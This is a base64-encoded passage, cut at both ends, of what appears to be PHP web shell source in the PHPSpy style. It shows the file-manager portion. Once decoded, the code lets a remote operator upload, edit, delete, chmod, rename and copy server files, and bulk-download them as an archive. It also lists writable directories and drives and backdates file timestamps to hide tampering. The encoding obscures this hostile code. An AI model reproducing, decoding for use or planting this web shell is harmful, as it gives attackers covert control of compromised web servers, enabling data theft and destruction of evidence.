IG5vdCBleGlzdCIsJ2UnKTsKCQllbHNlaWYoQHVubGluaygkdGhlZmlsZSkpIG0oIlRoZSBGaWxl
IDxlbT4kdGhlZmlsZTwvZW0+IGhhcyBiZWVuIGRlbGV0ZWQiKTsKCQllbHNlIG0oIkZpbGUgPGVt
PiR0aGVmaWxlPC9lbT4gZGVsZXRlIGZhaWxlZCIsJ2UnKTsKCX0KCWVsc2VpZigkbmV3ZGlybmFt
ZSkgewoJCSRta2RpcnMgPSAkbm93cGF0aC4kbmV3ZGlybmFtZTsKCQlpZihmaWxlX2V4aXN0cygk
bWtkaXJzKSkgbSgiRGlyZWN0b3J5ICRuZXdkaXJuYW1lIGhhcyBhbHJlYWR5IGV4aXN0cyIsJ2Un
KTsKCQllbHNlaWYoQG1rZGlyKCRta2RpcnMsMDc3NykpIHtAY2htb2QoJG1rZGlycywwNzc3KTtt
KCJEaXJlY3RvcnkgJG5ld2Rpcm5hbWUgY3JlYXRlZCBzdWNjZXNzIik7fQoJCWVsc2UgbSgiRGly
ZWN0b3J5ICRuZXdkaXJuYW1lIGNyZWF0aW9uIGZhaWxlZCIsJ2UnKTsKCX0KCWVsc2VpZigkZG91
cGZpbGUpIHsKCQlpZihAY29weSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ10sJHVw
bG9hZGRpci4nLycuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ10pKSBtKCdGaWxlIHVwbG9h
ZCBzdWNjZXNzJyk7CgkJZWxzZSBtKCdGaWxlIHVwbG9hZCBmYWlsZWQnLCdlJyk7Cgl9CgllbHNl
aWYoJGVkaXRmaWxlbmFtZSAmJiAkZmlsZWNvbnRlbnQpIHsKCQlpZihzdl9maWxlKCRlZGl0Zmls
ZW5hbWUsICRmaWxlY29udGVudCkpIG0oIlNhdmUgZmlsZSBzdWNjZXNzIik7CgkJZWxzZSBtKCdT
YXZlIGZpbGUgZmFpbGVkJywnZScpOwoJfQoJZWxzZWlmKCRwZmlsZSAmJiAkbmV3cGVybSkgewoJ
CWlmKCFmaWxlX2V4aXN0cygkcGZpbGUpKSBtKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBl
eGlzdCcsJ2UnKTsKCQllbHNlIHsKCQkJJG5ld3Blcm0gPSBiYXNlX2NvbnZlcnQoJG5ld3Blcm0s
OCwxMCk7CgkJCWlmKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pKSBtKCdNb2RpZnkgZmlsZSBhdHRy
aWJ1dGVzIHN1Y2Nlc3MnKTsKCQkJZWxzZSBtKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzIGZhaWxl
ZCcsJ2UnKTsKCQl9Cgl9CgllbHNlaWYoJG9sZG5hbWUgJiYgJG5ld2ZpbGVuYW1lKSB7CgkJJG5u
YW1lID0gJG5vd3BhdGguJG5ld2ZpbGVuYW1lOwoJCWlmKGZpbGVfZXhpc3RzKCRubmFtZSkgfHwg
IWZpbGVfZXhpc3RzKCRvbGRuYW1lKSkgbSgkbm5hbWUuJyBoYXMgYWxyZWFkeSBleGlzdGVkIG9y
IG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnLCdlJyk7CgkJZWxzZSBtKGJhc2VuYW1lKCRv
bGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRu
bmFtZSkgPyAnIHN1Y2Nlc3MnIDogJzxpIGNsYXNzPSJyIj5mYWlsZWQ8L2k+JykpOwoJfQoJZWxz
ZWlmKCRzbmFtZSAmJiAkdG9maWxlKSB7CgkJaWYoZmlsZV9leGlzdHMoJHRvZmlsZSkgfHwgIWZp
bGVfZXhpc3RzKCRzbmFtZSkpIG0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBv
ciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0JywnZScpOwoJCWVsc2VpZihAY29weSgkc25h
bWUsJHRvZmlsZSkpIG0oYmFzZW5hbWUoJHRvZmlsZSkuJyBjb3BpZWQgJy5iYXNlbmFtZSgkdG9m
aWxlKS4nIHN1Y2Nlc3MnKTsKCQllbHNlIG0oYmFzZW5hbWUoJHRvZmlsZSkuJyBjb3BpZWQgZmFp
bGVkJywnZScpOwoJfQoJZWxzZWlmKCRjdXJmaWxlICYmICR0YXJmaWxlKSB7CgkJJHRpbWUgPSBA
ZmlsZW10aW1lKCR0YXJmaWxlKTsKCQlpZighQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSB8fCAhQGZp
bGVfZXhpc3RzKCR0YXJmaWxlKSkgbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVk
IG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnLCdlJyk7CgkJZWxzZWlmKEB0b3VjaCgk
Y3VyZmlsZSwkdGltZSwkdGltZSkpIG0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkIHN1
Y2Nlc3MnKTsKCQllbHNlIG0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkIGZhaWxlZCcs
J2UnKTsKCX0KCWVsc2VpZigkY3VyZmlsZSAmJiAkeWVhciAmJiAkbW9udGggJiYgJGRheSAmJiAk
aG91ciAmJiAkbWludXRlICYmICRzZWNvbmQpIHsKCQkkdGltZSA9IHN0cnRvdGltZSgiJHllYXIt
JG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7CgkJaWYoIUBmaWxlX2V4aXN0cygk
Y3VyZmlsZSkpIG0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnLCdlJyk7CgkJ
ZWxzZWlmKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkpIG0oJ01vZGlmeSBmaWxlIHRoZSBs
YXN0IG1vZGlmaWVkIHN1Y2Nlc3MnKTsKCQllbHNlIG0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1v
ZGlmaWVkIGZhaWxlZCcpOwoJfQoJZWxzZWlmKCRkb2luZyA9PSAnZG93bnJhcicpIHsKCQlpZigk
ZGwpIHsKCQkJJGRmaWxlcz0nJzsKCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCA9PiAkdmFs
dWUpIHsKCQkJCSRkZmlsZXMuPSRmaWxlcGF0aC4nLCc7CgkJCX0KCQkJJGRmaWxlcz1zdWJzdHIo
JGRmaWxlcywwLHN0cmxlbigkZGZpbGVzKS0xKTsKCQkJJGRsPWV4cGxvZGUoJywnLCRkZmlsZXMp
OwoJCQkkemlwPW5ldyBQSFBaaXAoJGRsKTsKCQkJJGNvZGU9JHppcC0+b3V0OwoJCQloZWFkZXIo
J0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7CgkJCWhlYWRlcignQWNj
ZXB0LVJhbmdlczogYnl0ZXMnKTsKCQkJaGVhZGVyKCdBY2NlcHQtTGVuZ3RoOiAnLnN0cmxlbigk
Y29kZSkpOwoJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7ZmlsZW5h
bWU9Jy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJ19GaWxlcy50YXIuZ3onKTsKCQkJZWNobyAkY29k
ZTsKCQkJZXhpdDsKCQl9IGVsc2UgewoJCQltKCdQbGVhc2Ugc2VsZWN0IGZpbGUocyknLCdlJyk7
CgkJfQoJfQoJZWxzZWlmKCRkb2luZz09J2RlbGZpbGVzJykgewoJCWlmKCRkbCkgewoJCQkkZGZp
bGVzPScnOwoJCQkkc3VjYyA9ICRmYWlsID0gMDsKCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0
aCA9PiAkdmFsdWUpIHsKCQkJCWlmKEB1bmxpbmsoJGZpbGVwYXRoKSkgewoJCQkJCSRzdWNjKys7
CgkJCQl9IGVsc2UgewoJCQkJCSRmYWlsKys7CgkJCQl9CgkJCX0KCQkJbSgnRGVsZXRpbmcgJy5j
b3VudCgkZGwpLicgZmlsZXM6IDxzcGFuIGNsYXNzPSJ3Ij5zdWNjZXNzICcuJHN1Y2MuJzwvc3Bh
bj4gLSA8c3BhbiBjbGFzcz0iciI+ZmFpbCAnLiRmYWlsLic8L3NwYW4+JywnZScpOwoJCX0gZWxz
ZSB7CgkJCW0oJ1BsZWFzZSBzZWxlY3QgYSBmaWxlKHMpJywnZScpOwoJCX0KCX0KCWZvcm1oZWFk
KGFycmF5KCduYW1lJz0+J2NyZWF0ZWRpcicpKTsKCW1ha2VoaWRlKCduZXdkaXJuYW1lJyk7Cglt
YWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CglwKCc8L2Zvcm0+Jyk7Cglmb3JtaGVhZChhcnJheSgn
bmFtZSc9PidmaWxlcGVybScpKTsKCW1ha2VoaWRlKCduZXdwZXJtJyk7CgltYWtlaGlkZSgncGZp
bGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCXAoJzwvZm9ybT4nKTsKCWZvcm1oZWFk
KGFycmF5KCduYW1lJz0+J2NvcHlmaWxlJykpOwoJbWFrZWhpZGUoJ3NuYW1lJyk7CgltYWtlaGlk
ZSgndG9maWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CglwKCc8L2Zvcm0+Jyk7Cglm
b3JtaGVhZChhcnJheSgnbmFtZSc9PidyZW5hbWUnKSk7CgltYWtlaGlkZSgnb2xkbmFtZScpOwoJ
bWFrZWhpZGUoJ25ld2ZpbGVuYW1lJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CglwKCc8
L2Zvcm0+Jyk7Cglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidmaWxlb3Bmb3JtJykpOwoJbWFrZWhp
ZGUoJ2hheicpOwoJbWFrZWhpZGUoJ29wZmlsZScpOwoJbWFrZWhpZGUoJ2RpcicpOwoJcCgnPC9m
b3JtPicpOwoJJGZyZWUgPSBAZGlza19mcmVlX3NwYWNlKCRub3dwYXRoKTsKCSEkZnJlZSAmJiAk
ZnJlZSA9IDA7CgkkYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJG5vd3BhdGgpOwoJISRhbGwgJiYg
JGFsbCA9IDA7CgkkdXNlZCA9ICRhbGwtJGZyZWU7CgkkdXNlZF9wZXJjZW50ID0gQHJvdW5kKDEw
MC8oJGFsbC8kZnJlZSksMik7CglwKCc8aDI+RmlsZSBNYW5hZ2VyIC0gQ3VycmVudCBkaXNrIGZy
ZWUgJy5zaXplY291bnQoJGZyZWUpLicgb2YgJy5zaXplY291bnQoJGFsbCkuJyAoJy4kdXNlZF9w
ZXJjZW50LiclKTwvaDI+Jyk7Cj8+Cgo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2Vs
bHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0ibWFyZ2luOjEwcHggMDsiPgogIDxm
b3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGlkPSJnb2RpciIgbmFtZT0iZ29kaXIiPgogIDx0
cj4KICAgIDx0ZCBjbGFzcz0ibnciPkN1cnJlbnQgRGlyZWN0b3J5ICg8P3BocCBlY2hvICRkaXJf
d3JpdGVhYmxlOz8+LCA8P3BocCBlY2hvIGdldENobW9kKCRub3dwYXRoKTs/Pik8L3RkPgoJPHRk
IHdpZHRoPSIxMDAlIj48aW5wdXQgbmFtZT0idmlld193cml0YWJsZSIgdmFsdWU9IjAiIHR5cGU9
ImhpZGRlbiIgLz4KCTxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9ImRpciIgdmFsdWU9Ijw/cGhw
IGVjaG8gJG5vd3BhdGg7Pz4iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDoxMDAlO21hcmdpbjow
IDhweDsiIC8+PC90ZD4KICAgIDx0ZCBjbGFzcz0ibnciPjxpbnB1dCBjbGFzcz0iYnQiIHZhbHVl
PSJHTyIgdHlwZT0ic3VibWl0IiAvPjwvdGQ+CiAgPC90cj4KCiAgPC9mb3JtPgo8L3RhYmxlPgo8
c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm9rZGlyID0gJ0FyZSB5b3Ugc3VyZSB0byBk
ZWxldGUgdGhpcyBkaXJlY3Rvcnk/XG5cbklmIG5vbi1lbXB0eSBkaXJlY3RvcnksIHdpbGwgYmUg
ZGVsZXRlIGFsbCB0aGUgZmlsZXMuJzsKb2tmaWwgPSAnQXJlIHlvdSBzdXJlIHRvIGRlbGV0ZSB0
aGlzIGZpbGU/JzsKZnVuY3Rpb24gY3JlYXRlZGlyKCl7Cgl2YXIgbmV3ZGlybmFtZTsKCW5ld2Rp
cm5hbWUgPSBwcm9tcHQoJ1BsZWFzZSBpbnB1dCB0aGUgZGlyZWN0b3J5IG5hbWU6JywgJycpOwoJ
aWYoIW5ld2Rpcm5hbWUpIHJldHVybjsKCSQoJ2NyZWF0ZWRpcicpLm5ld2Rpcm5hbWUudmFsdWU9
bmV3ZGlybmFtZTsKCSQoJ2NyZWF0ZWRpcicpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGZpbGVwZXJt
KHBmaWxlKXsKCXZhciBuZXdwZXJtOwoJbmV3cGVybSA9IHByb21wdCgnQ3VycmVudCBmaWxlOicr
cGZpbGUrJ1xuUGxlYXNlIGlucHV0IG5ldyBhdHRyaWJ1dGU6JywgJycpOwoJaWYoIW5ld3Blcm0p
IHJldHVybjsKCSQoJ2ZpbGVwZXJtJykubmV3cGVybS52YWx1ZT1uZXdwZXJtOwoJJCgnZmlsZXBl
cm0nKS5wZmlsZS52YWx1ZT1wZmlsZTsKCSQoJ2ZpbGVwZXJtJykuc3VibWl0KCk7Cn0KZnVuY3Rp
b24gY29weWZpbGUoc25hbWUpewoJdmFyIHRvZmlsZTsKCXRvZmlsZSA9IHByb21wdCgnT3JpZ2lu
YWwgZmlsZTonK3NuYW1lKydcblBsZWFzZSBpbnB1dCBvYmplY3QgZmlsZSAoZnVsbHBhdGgpOics
ICcnKTsKCWlmKCF0b2ZpbGUpIHJldHVybjsKCSQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRv
ZmlsZTsKCSQoJ2NvcHlmaWxlJykuc25hbWUudmFsdWU9c25hbWU7CgkkKCdjb3B5ZmlsZScpLnN1
Ym1pdCgpOwp9CmZ1bmN0aW9uIHJlbmFtZShvbGRuYW1lKXsKCXZhciBuZXdmaWxlbmFtZTsKCW5l
d2ZpbGVuYW1lID0gcHJvbXB0KCdGb3JtZXIgZmlsZSBuYW1lOicrb2xkbmFtZSsnXG5QbGVhc2Ug
aW5wdXQgbmV3IGZpbGVuYW1lOicsICcnKTsKCWlmKCFuZXdmaWxlbmFtZSkgcmV0dXJuOwoJJCgn
cmVuYW1lJykubmV3ZmlsZW5hbWUudmFsdWU9bmV3ZmlsZW5hbWU7CgkkKCdyZW5hbWUnKS5vbGRu
YW1lLnZhbHVlPW9sZG5hbWU7CgkkKCdyZW5hbWUnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBkb2Zp
bGUoZG9pbmcsdGhlZmlsZSxtKSB7CglpZihtICYmICFjb25maXJtKG0pKSB7cmV0dXJuO30KCSQo
J2ZpbGVsaXN0JykuZG9pbmcudmFsdWU9ZG9pbmc7CglpZih0aGVmaWxlKXsKCQkkKCdmaWxlbGlz
dCcpLnRoZWZpbGUudmFsdWU9dGhlZmlsZTsKCX0KCSQoJ2ZpbGVsaXN0Jykuc3VibWl0KCk7Cn0K
ZnVuY3Rpb24gY3JlYXRlZmlsZShub3dwYXRoKXsKCXZhciBmaWxlbmFtZTsKCWZpbGVuYW1lID0g
cHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGZpbGUgbmFtZTonLCAnJyk7CglpZighZmlsZW5hbWUp
IHJldHVybjsKCW9wZmlsZSgnZWRpdGZpbGUnLG5vd3BhdGggKyBmaWxlbmFtZSxub3dwYXRoKTsK
fQpmdW5jdGlvbiBvcGZpbGUoaGF6LG9wZmlsZSxkaXIpewoJJCgnZmlsZW9wZm9ybScpLmhhei52
YWx1ZT1oYXo7CgkkKCdmaWxlb3Bmb3JtJykub3BmaWxlLnZhbHVlPW9wZmlsZTsKCSQoJ2ZpbGVv
cGZvcm0nKS5kaXIudmFsdWU9ZGlyOwoJJCgnZmlsZW9wZm9ybScpLnN1Ym1pdCgpOwp9CmZ1bmN0
aW9uIGdvZGlyKGRpcix2aWV3X3dyaXRhYmxlKXsKCWlmKHZpZXdfd3JpdGFibGUpIHsKCQkkKCdn
b2RpcicpLnZpZXdfd3JpdGFibGUudmFsdWU9MTsKCX0KCSQoJ2dvZGlyJykuZGlyLnZhbHVlPWRp
cjsKCSQoJ2dvZGlyJykuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+Cjw/cGhwCgl0YmhlYWQoKTsKCXAo
Jzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFy
dC9mb3JtLWRhdGEiPjx0ciBjbGFzcz0iYWx0MSI+PHRkIGNvbHNwYW49IjciIHN0eWxlPSJwYWRk
aW5nOjVweDsiPicpOwoJcCgnPGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48aW5wdXQgY2xhc3M9
ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB2YWx1ZT0iIiB0eXBlPSJmaWxlIiAvPiA8aW5wdXQg
Y2xhc3M9ImJ0IiBuYW1lPSJkb3VwZmlsZSIgdmFsdWU9IlVwbG9hZCIgdHlwZT0ic3VibWl0IiAv
PjxpbnB1dCBuYW1lPSJ1cGxvYWRkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAv
PjxpbnB1dCBuYW1lPSJkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjwvZGl2
PicpOwoJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuU19ST09ULidcJyk7Ij5XZWJS
b290PC9hPicpOwoJaWYoJHZpZXdfd3JpdGFibGUpIHsKCQlwKCcgfCA8YSBocmVmPSJqYXZhc2Ny
aXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcpOyI+VmlldyBBbGw8L2E+Jyk7Cgl9IGVsc2UgewoJ
CXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyxcJzFcJyk7
Ij5WaWV3IFdyaXRhYmxlPC9hPicpOwoJfQoJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVh
dGVkaXIoKTsiPk1ha2UgRGlyZWN0b3J5PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRl
ZmlsZShcJycuJG5vd3BhdGguJ1wnKTsiPk1ha2UgRmlsZTwvYT4nKTsKCWlmKElTX1dJTiAmJiBJ
U19DT00pIHsKCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsK
CQlpZigkb2JqICYmIGlzX29iamVjdCgkb2JqKSkgewoJCQkkRHJpdmVUeXBlREIgPSBhcnJheSgw
ID0+ICdVbmtub3cnLDEgPT4gJ1JlbW92YWJsZScsMiA9PiAnRml4ZWQnLDMgPT4gJ05ldHdvcmsn
LDQgPT4gJ0NEUm9tJyw1ID0+ICdSQU0gRGlzaycpOwoJCQlmb3JlYWNoKCRvYmotPkRyaXZlcyBh
cyAkZHJpdmUpIHsKCQkJCWlmKCRkcml2ZS0+RHJpdmVUeXBlID09IDIpIHsKCQkJCQlwKCcgfCA8
YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZHJpdmUtPlBhdGguJy9cJyk7IiB0aXRsZT0i
U2l6ZTonLnNpemVjb3VudCgkZHJpdmUtPlRvdGFsU2l6ZSkuJyYjMTM7RnJlZTonLnNpemVjb3Vu
dCgkZHJpdmUtPkZyZWVTcGFjZSkuJyYjMTM7VHlwZTonLiREcml2ZVR5cGVEQlskZHJpdmUtPkRy
aXZlVHlwZV0uJyI+Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLicoJy4kZHJpdmUt
PlBhdGguJyk8L2E+Jyk7CgkJCQl9IGVsc2UgewoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3Jp
cHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJUeXBlOicuJERyaXZlVHlw
ZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlw
ZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsKCQkJCX0KCQkJfQoJCX0KCX0KCXAoJzwvdGQ+
PC90cj48L2Zvcm0+Jyk7CglwKCc8dHIgY2xhc3M9ImhlYWQiPjx0ZD4mbmJzcDs8L3RkPjx0ZD5G
aWxlbmFtZTwvdGQ+PHRkIHdpZHRoPSIxNiUiPkxhc3QgbW9kaWZpZWQ8L3RkPjx0ZCB3aWR0aD0i
MTAlIj5TaXplPC90ZD48dGQgd2lkdGg9IjIwJSI+Q2htb2QgLyBVc2VyPC90ZD48dGQgd2lkdGg9
IjIyJSI+QWN0aW9uPC90ZD48L3RyPicpOwoJJGRpcmRhdGE9YXJyYXkoKTsKCSRmaWxlZGF0YT1h
cnJheSgpOwoJaWYoJHZpZXdfd3JpdGFibGUpIHsKCQkkZGlyZGF0YSA9IEdldExpc3QoJG5vd3Bh
dGgpOwoJfSBlbHNlIHsKCQkkZGlycz1Ab3BlbmRpcigkZGlyKTsKCQl3aGlsZSAoJGZpbGU9QHJl
YWRkaXIoJGRpcnMpKSB7CgkJCSRmaWxlcGF0aD0kbm93cGF0aC4kZmlsZTsKCQkJaWYoQGlzX2Rp
cigkZmlsZXBhdGgpKXsKCQkJCSRkaXJkYlsnZmlsZW5hbWUnXT0kZmlsZTsKCQkJCSRkaXJkYlsn
bXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsKCQkJCSRk
aXJkYlsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZmlsZXBhdGgpOwoJCQkJJGRpcmRiWydkaXJwZXJt
J109Z2V0UGVybXMoJGZpbGVwYXRoKTsKCQkJCSRkaXJkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigk
ZmlsZXBhdGgpOwoJCQkJJGRpcmRiWydkaXJsaW5rJ109JG5vd3BhdGg7CgkJCQkkZGlyZGJbJ3Nl
cnZlcl9saW5rJ109JGZpbGVwYXRoOwoJCQkJJGRpcmRiWydjbGllbnRfbGluayddPXVlKCRmaWxl
cGF0aCk7CgkJCQkkZGlyZGF0YVtdPSRkaXJkYjsKCQkJfSBlbHNlIHsKCQkJCSRmaWxlZGJbJ2Zp
bGVuYW1lJ109JGZpbGU7CgkJCQkkZmlsZWRiWydzaXplJ109c2l6ZWNvdW50KEBmaWxlc2l6ZSgk
ZmlsZXBhdGgpKTsKCQkJCSRmaWxlZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxl
bXRpbWUoJGZpbGVwYXRoKSk7CgkJCQkkZmlsZWRiWydmaWxlY2htb2QnXT1nZXRDaG1vZCgkZmls
ZXBhdGgpOwoJCQkJJGZpbGVkYlsnZmlsZXBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOwoJCQkJ
JGZpbGVkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOwoJCQkJJGZpbGVkYlsnZGly
bGluayddPSRub3dwYXRoOwoJCQkJJGZpbGVkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7CgkJ
CQkkZmlsZWRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRhdGFbXT0k
ZmlsZWRiOwoJCQl9CgkJfQoJCXVuc2V0KCRkaXJkYik7CgkJdW5zZXQoJGZpbGVkYik7CgkJQGNs
b3NlZGlyKCRkaXJzKTsKCX0KCUBzb3J0KCRkaXJkYXRhKTsKCUBzb3J0KCRmaWxlZGF0YSk7Cgkk
ZGlyX2kgPSAnMCc7Cglmb3JlYWNoKCRkaXJkYXRhIGFzICRrZXkgPT4gJGRpcmRiKXsKCQlpZigk
ZGlyZGJbJ2ZpbGVuYW1lJ10hPScuLicgJiYgJGRpcmRiWydmaWxlbmFtZSddIT0nLicpIHsKCQkJ
JHRiZyA9IGJnKCk7CgkJCXAoJzx0ciBjbGFzcz0iJy4kdGJnLiciIG9ubW91c2VvdmVyPSJ0aGlz
LmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRi
Zy4nXCc7Ij4nKTsKCQkJcCgnPHRkIHdpZHRoPSIyJSIgY2xhc3M9Im53Ij4mbmJzcDs8L3RkPicp
OwoJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRpcmRiWydzZXJ2ZXJf
bGluayddLidcJyk7Ij4nLiRkaXJkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7CgkJCXAoJzx0
ZCBjbGFzcz0ibnciPicuJGRpcmRiWydtdGltZSddLic8L3RkPicpOwoJCQlwKCc8dGQgY2xhc3M9
Im53Ij4tLTwvdGQ+Jyk7CgkJCXAoJzx0ZCBjbGFzcz0ibnciPicpOwoJCQlwKCc8YSBocmVmPSJq
YXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRp
cmRiWydkaXJjaG1vZCddLicgLyAnLiRkaXJkYlsnZGlycGVybSddLic8L2E+Jyk7CgkJCXAoJGRp
cmRiWydmaWxlb3duZXInXS4nPC90ZD4nKTsKCQkJcCgnPHRkIGNsYXNzPSJudyI+PGEgaHJlZj0i
amF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxkaXJcJyxcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidc
Jyxva2RpcikiPkRlbDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGRpcmRi
WydzZXJ2ZXJfbGluayddLidcJyk7Ij5SZW5hbWU8L2E+PC90ZD4nKTsKCQkJcCgnPC90cj4nKTsK
CQkJJGRpcl9pKys7CgkJfSBlbHNlIHsKCQkJaWYoJGRpcmRiWydmaWxlbmFtZSddPT0nLi4nKSB7
CgkJCQlwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj4nKTsKCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVy
Ij48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00PlVQPC9mb250PjwvdGQ+PHRkIGNsYXNz
PSJudyIgY29sc3Bhbj0iNSI+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuZ2V0VXBQYXRo
KCRub3dwYXRoKS4nXCcpOyI+UGFyZW50IERpcmVjdG9yeTwvYT48L3RkPicpOwoJCQkJcCgnPC90
cj4nKTsKCQkJfQoJCX0KCX0KCXAoJzx0cj48dGQgc3R5bGU9ImJhY2tncm91bmQ6IzU1NTtoZWln
aHQ6M3B4OyIgY29sc3Bhbj0iNiI+Jm5ic3A7PC90ZD48L3RyPicpOwoJcCgnPGZvcm0gaWQ9ImZp
bGVsaXN0IiBuYW1lPSJmaWxlbGlzdCIgYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0icG9zdCI+
Jyk7CgltYWtlaGlkZSgnaGF6JywnZmlsZScpOwoJbWFrZWhpZGUoJ3RoZWZpbGUnKTsKCW1ha2Vo
aWRlKCdkb2luZycpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJJGZpbGVfaSA9ICcwJzsK
CWZvcmVhY2goJGZpbGVkYXRhIGFzICRrZXkgPT4gJGZpbGVkYil7CgkJaWYoJGZpbGVkYlsnZmls
ZW5hbWUnXSE9Jy4uJyAmJiAkZmlsZWRiWydmaWxlbmFtZSddIT0nLicpIHsKCQkJJGZpbGV1cmwg
PSBzdHJfcmVwbGFjZShTX1JPT1QsJycsJGZpbGVkYlsnc2VydmVyX2xpbmsnXSk7CgkJCSR0aGlz
YmcgPSBiZygpOwoJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhp
cy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0
aGlzYmcuJ1wnOyI+Jyk7CgkJCXAoJzx0ZCB3aWR0aD0iMiUiIGNsYXNzPSJudyI+PGlucHV0IHR5
cGU9ImNoZWNrYm94IiB2YWx1ZT0iMSIgbmFtZT0iZGxbJy4kZmlsZWRiWydzZXJ2ZXJfbGluaydd
LiddIiAvPjwvdGQ+Jyk7CgkJCXAoJzx0ZD48YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0i
X2JsYW5rIj4nLiRmaWxlZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOwoJCQlwKCc8dGQgY2xh
